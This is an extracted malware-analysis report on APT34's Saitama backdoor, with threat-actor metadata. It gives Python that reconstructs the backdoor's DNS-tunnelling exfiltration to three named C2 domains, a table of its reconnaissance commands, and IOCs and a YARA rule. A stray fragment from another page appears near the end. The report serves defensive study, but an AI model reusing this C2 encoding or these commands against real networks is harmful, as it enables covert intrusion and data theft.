until 255.\r\nfor seed in range(46656):\r\n for agent_id in range(255):\r\n shuffle = Shuffle(seed)\r\n domain = ConvertIntToDomain(agent_id)\r\n Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]\r\n print(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\nReceive StatePermalink\r\nThis state fetches the C2 server, expecting to receive a command.\r\nThe malware generate different subdomains constructed with the following steps:\r\n1. Passed data = converted RecieveByteIndex to char padded with the first char in CharDomain .\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 23 of 37\n\n2. Convert domaintype to character and + the converted AgentId to character + data passed.\r\n3. Use the counter that was randomly generated as a seed to MersenneTwister to genrate random numbers and\r\nreturn 36 random char and numbers.\r\n4. Map step 1 to the shuffled chars .\r\n5. Convert seed ( counter ) to char and pad it with the first char in CharCounter .\r\n6. Then append a random domain from the 3 that exists joexpediagroup.com , asiaworldremit.com , uber-asia.com .\r\n7. Generated domain = step 4 output + step 5 output + step 6 output\r\n8. The counter is increased if the malware was successfully connected to the generated domain .\r\nHere is how the domain is generated :\r\nseed = 6539\r\nAgentID = 203\r\ndomainType = 2\r\nReceiveByteIndex = 0\r\ndata = PadLeft(ConvertIntToDomain(0),3,CharsDomain[0])\r\nshuffle = Shuffle(seed)\r\ndomain = ConvertIntToDomain(domainType) + ConvertIntToDomain(AgentID) + data\r\nDomain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + \".\"\r\nprint(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\naq3888gai. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\r\nIf successfully connected to the generated domain , the malware start processing the received data by converting the\r\nIP address to byte array and add it ListData . Since the max number of bytes could be received from one\r\nconnection is 4. so multiple connections needed if more than 4 bytes would be received . The first octet will be task\r\ntype and the rest will be the command only if the Received Size is 4. If it’s more than that, the first octet of the\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 24 of 37\n\nfirst IP address of the generated domain will be the task type and IP addresses from the other generated domains will\r\njust be appended to it . After all data have been received the malware move to new state Do .\r\nDo StatePermalink\r\nAs we can see tasktype was assigned the first octet and the others octets assigned to array2 , we have 5 task\r\ntypes . so it might write a file on disk , if data was compressed then it will be decompressed then written to the file.\r\nThe malware can although execute a built in command or other commands sent by the C2. If a file is going to be\r\nwritten then a path should be specified ,so the path of the file will be the bytes of array2 from beginning until it\r\nmatch a | char , and the other bytes are the file content .\r\nTask types :\r\nTaskType Values\r\nEnums.TaskType Static 43\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 25 of 37\n\nTaskType Values\r\nEnums.TaskType Cmd 70\r\nEnums.TaskType CompressedCmd 71\r\nEnums.TaskType File 95\r\nEnums.TaskType CompressedFile 96\r\nIf the malware going to execute one of the built in commands , an interesting non-cryptographic hashing function\r\n(FNV-1a) computes the command number , actually it just related to performance and C# compiler and not how the\r\nmalware operate .\r\nBuilt in CommandsPermalink\r\nSome of commands are common reconnaissance but some of them are not that common. Some of the commands\r\ncontain internal IPs and also internal domain names . That indicates that the actor has some previous knowledge\r\nabout the internal infrastructure of the Organization . These commands are executed through PowerShell or through\r\nCMD .\r\nCommand\r\nNumber\r\nInterpreter Payload Impact\r\n1 PowerShell\r\nGet-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddresssGets IP address for all IPv4\r\naddresses on the computer.\r\n2 PowerShell Get-NetNeighbor -AddressFamily IPv4 | Select-Object IPADDressGets information about the\r\nneighbor cache for IPv4 ,\r\nGets neighbor cache\r\ninformation only about a\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 26 of 37\n\nspecific neighbor IP\r\naddress.\r\n3 CMD whoami\r\nDisplay the domain and user\r\nname of the person who is\r\ncurrently logged on to this\r\ncomputer\r\n4 PowerShell [System.Environment]::OSVersion.VersionString OS veriosn\r\n5 CMD net user\r\nList of every user account,\r\nactive or not, on the\r\ncomputer you're currently\r\nusing.\r\n7 PowerShell\r\nGet-ChildItem -Path \"C:\\Program Files\" | Select-Object Name\r\nList folders under\r\nC:\\Program Files installed\r\nprogrames\r\n8 PowerShell\r\nGet-ChildItem -Path 'C:\\Program Files (x86)' |\r\nSelect-Object Name\r\nList folders under\r\nC:\\Program Files (x86)\r\ninstalled programes\r\n9 PowerShell Get-ChildItem -Path 'C:' | Select-Object Name List folders under C\r\n10 CMD hostname\r\nDisplay the name of the\r\ncomputer\r\n11 PowerShell\r\nGet-NetTCPConnection | Where-Object\r\n{$_.State -eq \"Established\"} | Select-Object\r\n\"LocalAddress\", \"LocalPort\", \"RemoteAddress\",\r\n\"RemotePort\"\r\nGets all TCP connections\r\nthat have an Established\r\nstate.\r\n12 PowerShell\r\n$(ping -n 1 10.65.4.50 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.65.4.51 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.65.65.65 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.65.53.53 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.65.21.200 | findstr /i ttl) -eq\r\n$null\r\nChecking if these internal\r\nIPs are alive\r\n13 PowerShell\r\nnslookup ise-posture.mofagov.gover.local |\r\nfindstr /i Address;nslookup webmail.gov.jo |\r\nfindstr /i Address\r\nGet IP Address of the\r\ndomains ise-posture.mofagov.gover.local\r\nand nslookup\r\nwebmail.gov.jo\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 27 of 37\n\n14 PowerShell\r\n$(ping -n 1 10.10.21.201 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.10.19.201 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.10.19.202 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.10.24.200 | findstr /i ttl) -eq\r\n$null\r\nChecking if these internal\r\nIPs are alive\r\n15 PowerShell\r\n$(ping -n 1 10.10.10.4 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.10.50.10 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.10.22.50 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.10.45.19 | findstr /i ttl) -eq $null\r\nChecking if these internal\r\nIPs are alive\r\n16 PowerShell\r\n$(ping -n 1 10.65.51.11 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.65.6.1 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.65.52.200 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.65.6.3 | findstr /i ttl) -eq\r\n$null\r\nChecking if these internal\r\nIPs are alive\r\n17 PowerShell\r\n$(ping -n 1 10.65.45.18 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.65.28.41 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.65.36.13 | findstr /i ttl) -eq $null;\r\n$(ping -n 1 10.65.51.10 | findstr /i ttl) -eq $null\r\nChecking if these internal\r\nIPs are alive\r\n18 PowerShell\r\n$(ping -n 1 10.10.22.42 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.10.23.200 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.10.45.19 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.10.19.50 | findstr /i ttl) -eq\r\n$null\r\nChecking if these internal\r\nIPs are alive\r\n19 PowerShell\r\n$(ping -n 1 10.65.45.3 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.65.4.52 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 10.65.31.155 | findstr /i ttl) -eq\r\n$null;$(ping -n 1 ise-posture.mofagov.gover.local\r\n| findstr /i ttl) -eq $null\r\nChecking if these internal\r\nIPs are alive\r\n20 PowerShell\r\nGet-NetIPConfiguration | Foreach\r\nIPv4DefaultGateway | Select-Object NextHop\r\nGets network configuration,\r\nincluding usable interfaces,\r\nIP addresses, and DNS\r\nservers.\r\nIPv4DefaultGateway, Gets\r\ndefault gatewayes for all\r\ninterfaces\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 28 of 37\n\n21 PowerShell\r\nGet-DnsClientServerAddress -AddressFamily\r\nIPv4 | Select-Object SERVERAddresses\r\nGets all DNS server IP\r\naddresses associated with\r\nthe interfaces on the\r\ncomputer only ipv4.\r\n22 CMD systeminfo | findstr /i \\\"Domain\\\" Get domain name\r\nThe result of the executed command is stored in resultData and char = is appended at the first if the data is\r\ncompressed else char 9 , then pass it to ReadySend function which assign the resultData to SendData .\r\nSend StatePermalink\r\nAfter getting the result from the command execution the malware need a way to send it to the C2. This is how the\r\nmalware exfiltrated the data. It may look like a simple DNS request in a network log, but the exfiltrated data is\r\nactually built into the DNS request , the malware send 12 bytes at time or less if there is no full 12 bytes to send.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 29 of 37\n\nIf it’s the first time to send part from the ResultDate , The malware generate different subdomains constructed\r\nwith the following steps:\r\n1. Passed data = converted SendByteIndex to char and pad it with the first char in CharDomain + converted\r\nSendDataSize to char and pad it with the first char in CharDomain + base32 encode of the resultData .\r\n2. Convert domaintype to character and + the converted AgentId to character + data passed.\r\n3. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and\r\nreturn 36 random char and numbers.\r\n4. Map step 1 output to the shuffled chars .\r\n5. Convert seed ( counter ) to char and pad it with the first char in CharCounter .\r\n6. Then append random domain form the 3 that exists joexpediagroup.com , asiaworldremit.com , uber-asia.com\r\n7. Generated domain = step 5 output + step 6 output + step 6 output\r\n8. The counter is increased if the malware was successfully connected to the generated domain .\r\nIf it’s not the first time , the malware generate different subdomains constructed with the following steps:\r\n1. Passed data = converted SendByteIndex to char and pad it with the first char in CharDomain + base32\r\nencode of the resultData .\r\n2. Convert domaintype to character and + the converted AgentId to character + data passed.\r\n3. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and\r\nreturn 36 random char and numbers.\r\n4. Map step 1 output to the shuffled chars ..\r\n5. Convert seed ( counter ) to char and pad it with the first char in CharCounter .\r\n6. Then append random domain form the 3 that exists joexpediagroup.com , asiaworldremit.com , uber-asia.com\r\n7. Generated domain = step 4 output + step 5 output + step 6 output\r\n8. The counter is increased if the malware was successfully connected to the generated domain .\r\nIf successfully connected to the generated domain , it check if there is data to be received and if there is still more\r\ndata to be sent the machine will go to SendAndReceive state.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 30 of 37\n\nFor simplicity we consider the data to be send not compressed . The generated subdomain will be like :\r\nseed = 6540\r\nAgentID = 203\r\nSendAndReceive = 1\r\nSendDataSize = 38\r\nSendByteIndex = 0\r\nval = SendDataSize - SendByteIndex;\r\nnum = min(12, val);\r\nSendData = b'9We Are Breaking APT34 In This Report!' # 9 indicates that it's not compressed\r\nSendData = base64.b32encode(SendData[SendByteIndex:num]).replace(b\"=\",b\"\").lower().decode()\r\ndata = PadLeft(ConvertIntToDomain(SendByteIndex),3,CharsDomain[0]) + PadLeft(ConvertIntToDomain(SendDataSize),3,C\r\nshuffle = Shuffle(seed)\r\ndomain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data\r\nDomain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + \".\"\r\nprint(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\n1mcllll1zvmu259z1hxnnlsfnawssgad.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 31 of 37\n\nIf it isn’t the first time to send part of the data . The generated subdomain will be like : :\r\nseed = 6541\r\nAgentID = 203\r\nSendAndReceive = 3\r\nSendDataSize = 38\r\nSendByteIndex = 12 # send next 12 bytes\r\nval = SendDataSize - SendByteIndex;\r\nnum = min(12, val);\r\nSendData = b'9We Are Breaking APT34 In This Report!'\r\nSendData = base64.b32encode(SendData[SendByteIndex:SendByteIndex+num]).replace(b\"=\",b\"\").lower().decode()\r\ndata = PadLeft(ConvertIntToDomain(SendDataSize),3,CharsDomain[0]) + SendData\r\nshuffle = Shuffle(seed)\r\ndomain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data\r\nDomain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + \".\"\r\nprint(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\ndgxmnu11rfyvvmcgcgcavr6n6wgax.\r\nSo how the C2 will know what is the data sent ! , Here is a little example demonstrating it .\r\nDomain = \"1mcllll1zvmu259z1hxnnlsfnawssgad\" # the domain generated from the first 12 bytes\r\nSeed = 0\r\nDomainTypes = {\r\n\"a\":\"FirstAlive\",\r\n\"b\":\"Send\"\r\n,\"c\":\"Receive\"\r\n,\"d\":\"SendAndReceive\"\r\n,\"e\":\"MainAlive\"}\r\ndict = { 57:\"Not Compressed\" , 61:\"Compressed\"}\r\ndef MapBaseSubdomainCharacters_inverse(data, shuffle):\r\n text = \"\"\r\n CharsDomain = \"abcdefghijklmnopqrstuvwxyz0123456789\"\r\n for i in data:\r\n text += CharsDomain[shuffle.find(i)]\r\n return text\r\n \r\n# Get Seed\r\nfor i in range(46656):\r\n if Domain[-3:] == PadLeft(ConvertIntToCounter(i),3,CharsCounter[0]):\r\n Seed = i\r\n break\r\nshuffle = Shuffle(Seed)\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 32 of 37\n\nDomain_Inv = MapBaseSubdomainCharacters_inverse(Domain[:-3],shuffle)\r\ndomaintype = Domain_Inv[0]\r\ndata = Domain_Inv[-20:]\r\n# for the frist connection we know SendByteIndex will be 0 which is equal to aaa after converting it to char and p\r\nSendByteIndex_offset = Domain_Inv.find(\"aaa\")\r\nAgentId = Domain_Inv[1:SendByteIndex_offset]\r\nDataSize = Domain_Inv[SendByteIndex_offset+3:SendByteIndex_offset+6]\r\n# Get AgentId\r\nfor i in range(255):\r\n if AgentId == ConvertIntToDomain(i):\r\n AgentId = i\r\n break\r\n \r\n# Get DataSize\r\nfor i in range(255): # size can exceed 255 of course\r\n if DataSize == PadLeft(ConvertIntToDomain(i),3,CharsDomain[0]):\r\n DataSize = i\r\n break\r\n \r\n# pad and decode data\r\nData = base64.b32decode(data.upper()+\"=\"*(len(data)%8))\r\nprint(\"Seed :\", Seed)\r\nprint(\"AgentId :\" ,AgentId)\r\nprint(\"Domain Type :\" , DomainTypes[domaintype])\r\nprint(\"Size :\" ,DataSize)\r\nprint(\"Send Data :\" ,Data[1::])\r\nprint(dict[Data[0]])\r\nSeed : 6540\r\nAgentId : 203\r\nDomain Type : Send\r\nSize : 38\r\nSend Data : b'We Are Brea'\r\nNot Compressed\r\nReceive and Send statePermalink\r\nThe malware generate different subdomains constructed with the following steps:\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 33 of 37\n\n1. Passed data = converted SendByteIndex to char and pad it with the first char in CharDomain + converted\r\nReceiveByteIndex to char and pad it with the first char in CharDomain + base32 encode of the resultData .\r\n2. Convert domaintype to character and + the converted AgentId to character + data passed.\r\n3. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and\r\nreturn 36 random char and numbers.\r\n4. Map step 1 output to the shuffled chars .\r\n5. Convert seed ( counter ) to char and pad it with the first char in CharCounter .\r\n6. Then append random domain form the 3 that exists joexpediagroup.com , asiaworldremit.com , uber-asia.com\r\n7. Generated domain = step 4 output + step 5 output + step 6 output\r\n8. The counter is increased if the malware was successfully connected to the generated domain .\r\nThen process data as seen in Receive function and check if all the data was sent or their are more to send . and then\r\nit go to Send state or Receive state or Do state depends on the check made.\r\nLet’s consider that there was data to be received after sending the first 12 bytes , so state will change from Send to\r\nReceiveandSend state . And here is how the domain will be generated:\r\nseed = 6541\r\nAgentID = 203\r\nSendAndReceive = 3\r\nSendDataSize = 38\r\nSendByteIndex = 12\r\nReceiveByteIndex = 0\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 34 of 37\n\nval = SendDataSize - SendByteIndex;\r\nnum = min(12, val);\r\nSendData = b'9We Are Breaking APT34 In This Report!'\r\nSendData = base64.b32encode(SendData[SendByteIndex:SendByteIndex+num]).replace(b\"=\",b\"\").lower().decode()\r\ndata = PadLeft(ConvertIntToDomain(SendByteIndex),3,CharsDomain[0]) + PadLeft(ConvertIntToDomain(ReceiveByteIndex)\r\nshuffle = Shuffle(seed)\r\ndomain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data\r\nDomain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + \".\"\r\nprint(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\ndgxmmammm11rfyvvmcgcgcavr6n6wgax. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\r\nFinal RecapPermalink\r\n1. Mutex created .\r\n2. Machine States dictionary create which control the states transaction , and every state do different job .\r\n3. Config initialized .\r\n4. First state is Begin and a command Start changes state to Alive .\r\n5. Try to call FirstAlive untill it succeed or exceed maximum tries , set AgentId if succeed.\r\n6. MainAlive is called and check if data will be received move to Receive state.\r\n7. Receive state receive the command to be executed then move to Do state .\r\n8. Do state will execute the specified command, and the result will be sent to the C2 so the malware will move\r\nto Send state.\r\n9. Send state will send the result of the executed command , and check if there is more data that will be\r\nreceived , if found and the data being sent wasn’t fully sent yet , the malware move to ReceiveandSend\r\nstate.\r\nSaitama abuses the DNS protocol for its C2 communications. This is stealthier than other communication methods.\r\nAlso uses techniques such as compression and long random sleep times to disguise malicious traffic in between\r\nlegitimate traffic.\r\nIOCsPermalink\r\nHashes:\r\n1. Maldoc (Confirmation Receive Document.xls) :\r\nmd5 : C4F81486D10818E0BD4B9701DCAFC8A2\r\nsha1 : 15A1B1EBF04870AAD7EA4BD7D0264F17057E9002\r\nsha256 : 26884F872F4FAE13DA21FA2A24C24E963EE1EB66DA47E270246D6D9DC7204C2B\r\nssdeep :\r\n12288:NfjOjlJUDo0DcsUD65oNxWqUOsDmlYh5edDxcSjrUlCZiJxIlxSLaMpgA0DfZT5r:VOjlJKrqUKEIlxSLh0Djme\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 35 of 37\n\n2. update.exe (Saitama backdoor) :\r\nmd5 : 79C7219BA38C5A1971A32B50E14D4A13\r\nsha1 : B39B3A778F0C257E58C0E7F851D10C707FBE2666\r\nsha256 : E0872958B8D3824089E5E1CFAB03D9D98D22B9BCB294463818D721380075A52D\r\nimphash : F34D5F2D4577ED6D9CEEC516C1F5A744\r\nssdeep : 768:bEj9FSWZxm3eJ38Etub7B/iGkIJywnYwVMwfJhVRVmHUFeP+SVL/mVW5iV7uVSxH:gaSLub7W8\r\n3. Microsoft.Exchange.WebServices.dll:\r\nmd5 : F9A1B01E2D5C4CB2D632A74FCB7EC2DD\r\nsha1 : 5A9B17A0510301725DCEAFFF026ECA872FB05579\r\nsha256 : 7EBBEB2A25DA1B09A98E1A373C78486ED2C5A7F2A16EEC63E576C99EFE0C7A49\r\nimphash : DAE02F32A21E03CE65412F6E56942DAA\r\nssdeep : 12288:m/uKlFauqcCJ781wrckIE/9dCuyk05CGCIYzmA/VMmy5PJ+S:m/uKlFaFV8EdCuyk05CDdzPry5PJ1\r\n4. update.exe.config:\r\nmd5 : AFDC68F0B6CE87EBEF0FEC5565C80FD3\r\nsha1 : 2641A3CC98AA84979BE68B675E26E5F94F059B57\r\nsha256 : 09C19455F249514020A4075667B087B16EAAD440938F2D139399D21117879E60\r\nssdeep :\r\n3:JLWMNHU8LdgCQcIMOoIRuQVK/FNURAmIRMNHNQAolFNURAmIRMNHjFN5KWREBAWq:JiMVBd1IffVKNC7VNQAofC7VrpuAW4QA\r\nMutex : 726a06ad-475b-4bc6-8466-f08960595f1e\r\nFiles:\r\n1. C:\\Users\\UserName\\AppData\\Local\\MicrosoftUpdate\\Microsoft.Exchange.WebServices.dll\r\n2. C:\\Users\\UserName\\AppData\\Local\\MicrosoftUpdate\\update.exe.config\r\n3. C:\\Users\\UserName\\AppData\\Local\\MicrosoftUpdate\\update.exe\r\nC2 Domains:\r\n1. uber-asia.com\r\n2. asiaworldremit.com\r\n3. joexpediagroup.com\r\nYara RulesPermalink\r\nrule APT34_Saitama_Agent: APT34_Saitama_Agent\r\n{\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 36 of 37\n\nmeta:\r\n Author = \"X__Junior\"\r\n Description = \"APT34_Saitama_Agent Detection\"\r\n strings:\r\n$GetRandomRange = {04 03 59 0A 02 28 ?? ?? ?? ?? 0B 03 6A 07 6E 06 6A 5D 58 69 2A}\r\n$random = {7E ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 0C 02 73 ?? ?? ?? ?? 0D 16 13 ?? 2B ??\r\n$MapBaseSubdomainCharacters = {7E ?? ?? ?? ?? 0A 16 0B 2B ?? 06 03 7E ?? ?? ?? ?? 02 07 6F ?? ?? ?? ??\r\n$s1 = \"E:\\\\Saitama\\\\Saitama.Agent\\\\obj\\\\Release\\\\Saitama.Agent.pdb\" ascii\r\n $s2 = \"Saitama.Agent\" ascii\r\n \r\n $s3 = \"razupgnv2w01eos4t38h7yqidxmkljc6b9f5\" wide\r\n $s4 = \"joexpediagroup.com\" wide\r\n $s5 = \"asiaworldremit.com\" wide\r\n $s6 = \"uber-asia.com\" wide\r\n $s7 = \"Saitama.Agent.exe\" ascii\r\n \r\n \r\n condition:\r\n uint16(0) == 0x5A4D and 3 of($s*) and $GetRandomRange and $random and $MapBaseSubdomainCharacters\r\n}\r\nSource: https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 37 of 37\n\neNotif \"zbafz\" Dim xmlText As String    \nxmlText = \"\u003c?xml version=\"\"1.0\"\" encoding=\"\"UTF-16\"\"?\u003e\u003cTask  version=\"\"1.2\"\" xmlns=\"\"http://schemas.microsoft.c\n   Page 4 of 37",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html"
	],
	"report_names": [
		"Apt34.html"
	],
	"threat_actors": [
		{
			"id": "ce10c1bd-4467-45f9-af83-28fc88e35ca4",
			"created_at": "2022-10-25T15:50:23.458833Z",
			"updated_at": "2026-04-10T02:00:05.419537Z",
			"deleted_at": null,
			"main_name": "APT34",
			"aliases": null,
			"source_name": "MITRE:APT34",
			"tools": [
				"netstat",
				"Systeminfo",
				"PsExec",
				"SEASHARPEE",
				"Tasklist",
				"Mimikatz",
				"POWRUNER",
				"certutil"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "cffb3c01-038f-4527-9cfd-57ad5a035c22",
			"created_at": "2022-10-25T15:50:23.38055Z",
			"updated_at": "2026-04-10T02:00:05.258283Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"COBALT GYPSY",
				"IRN2",
				"APT34",
				"Helix Kitten",
				"Evasive Serpens",
				"Hazel Sandstorm",
				"EUROPIUM",
				"ITG13",
				"Earth Simnavaz",
				"Crambus",
				"TA452"
			],
			"source_name": "MITRE:OilRig",
			"tools": [
				"ISMInjector",
				"ODAgent",
				"RDAT",
				"Systeminfo",
				"QUADAGENT",
				"OopsIE",
				"ngrok",
				"Tasklist",
				"certutil",
				"ZeroCleare",
				"POWRUNER",
				"netstat",
				"Solar",
				"ipconfig",
				"LaZagne",
				"BONDUPDATER",
				"SideTwist",
				"OilBooster",
				"SampleCheck5000",
				"PsExec",
				"SEASHARPEE",
				"Mimikatz",
				"PowerExchange",
				"OilCheck",
				"RGDoor",
				"ftp"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "67b2c161-5a04-4e3d-8ce7-cce457a4a17b",
			"created_at": "2025-08-07T02:03:24.722093Z",
			"updated_at": "2026-04-10T02:00:03.681914Z",
			"deleted_at": null,
			"main_name": "COBALT EDGEWATER",
			"aliases": [
				"APT34 ",
				"Cold River ",
				"DNSpionage "
			],
			"source_name": "Secureworks:COBALT EDGEWATER",
			"tools": [
				"AgentDrable",
				"DNSpionage",
				"Karkoff",
				"MailDropper",
				"SideTwist",
				"TWOTONE"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "c786e025-c267-40bd-9491-328da70811a5",
			"created_at": "2025-08-07T02:03:24.736817Z",
			"updated_at": "2026-04-10T02:00:03.752071Z",
			"deleted_at": null,
			"main_name": "COBALT GYPSY",
			"aliases": [
				"APT34 ",
				"CHRYSENE ",
				"Crambus ",
				"EUROPIUM ",
				"Hazel Sandstorm ",
				"Helix Kitten ",
				"ITG13 ",
				"OilRig ",
				"Yellow Maero "
			],
			"source_name": "Secureworks:COBALT GYPSY",
			"tools": [
				"Glimpse",
				"Helminth",
				"Jason",
				"MacDownloader",
				"PoisonFrog",
				"RGDoor",
				"ThreeDollars",
				"TinyZbot",
				"Toxocara",
				"Trichuris",
				"TwoFace"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "67709937-2186-4a32-b64c-a5693d40ac77",
			"created_at": "2023-01-06T13:46:38.495593Z",
			"updated_at": "2026-04-10T02:00:02.999196Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"Crambus",
				"Helix Kitten",
				"APT34",
				"IRN2",
				"ATK40",
				"G0049",
				"EUROPIUM",
				"TA452",
				"Twisted Kitten",
				"Cobalt Gypsy",
				"APT 34",
				"Evasive Serpens",
				"Hazel Sandstorm",
				"Earth Simnavaz"
			],
			"source_name": "MISPGALAXY:OilRig",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434043,
	"ts_updated_at": 1775826776,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/79e53e7eb70a53b090b71972594fee41eeb40523.pdf",
		"text": "https://archive.orkl.eu/79e53e7eb70a53b090b71972594fee41eeb40523.txt",
		"img": "https://archive.orkl.eu/79e53e7eb70a53b090b71972594fee41eeb40523.jpg"
	}
}